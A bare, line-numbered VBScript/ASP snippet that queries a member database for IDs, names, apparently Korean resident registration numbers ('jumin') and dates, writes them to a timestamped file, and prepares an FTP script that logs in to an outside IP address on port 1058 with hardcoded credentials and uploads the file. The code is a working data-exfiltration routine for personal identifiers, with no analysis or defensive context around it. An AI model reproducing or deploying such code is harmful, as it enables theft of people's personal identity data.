1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60 |
dim db
Set Db = CreateObject("ADODB.CONNECTION")
Db.Open "Provider=SQLOLEDB.1;Password=pwd;User
ID=sa;Initial Catalog=db;Data Source=localhost"
SQLstring = "SELECT id, name, jumin, date FROM member"
Set rs=CreateObject("ADODB.Recordset")
rs.Open SQLstring,db,1
filetmp = ""
do until rs.eof
filetmp = filetmp
& "" & rs("id") & chr(13) &
chr(10)
filetmp = filetmp
& "" & rs("name") & chr(13)
& chr(10)
filetmp = filetmp
& "" & rs("jumin") & chr(13)
& chr(10)
filetmp = filetmp
& "" & rs("date") & chr(13)
& chr(10)
rs.movenext
loop
rs.close : set rs = nothing
db.close : set db = nothing
myear = year(date())
mmonth = right("00"&month(date()),2)
mday = right("00"&day(date()),2)
mhour = right("00"&hour(time()),2)
mminute = right("00"&minute(time()),2)
msecond = right("00"&second(time()),2)
if filetmp <> "" then
Set fs = CreateObject("Scripting.FileSystemObject")
filename = myear &
mmonth & mday & "_" & mhour & mminute &
msecond & ".txt"
fs.CreateTextFile filename
Set objFile = fs.OpenTextFile(filename
,8)
objFile.writeLine(filetmp)
objFile.close
fs.CreateTextFile "ftp_log.txt"
Set objFile = fs.OpenTextFile("ftp_log.txt"
,8)
ftp_tmp = ftp_tmp & "open 211.222.212.61 1058"&
chr(13) & chr(10)
ftp_tmp = ftp_tmp & "entrydev" & chr(13)
& chr(10)
ftp_tmp = ftp_tmp & "pwdpwd" & chr(13)
& chr(10)
ftp_tmp = ftp_tmp & "cd /sf-1/collection/index/"
& chr(13) & chr(10)
ftp_tmp = ftp_tmp & "bin" & chr(13)
ftp_tmp = ftp_tmp & "put " & filename&
chr(13) & chr(10)
ftp_tmp = ftp_tmp & "close" & chr(13)
& chr(10)
ftp_tmp = ftp_tmp & "bye" & chr(13)
& chr(10)
ftp_tmp = ftp_tmp & "exit" & chr(13)
& chr(10) objFile.writeLine(ftp_tmp)
objFile.close
end if
|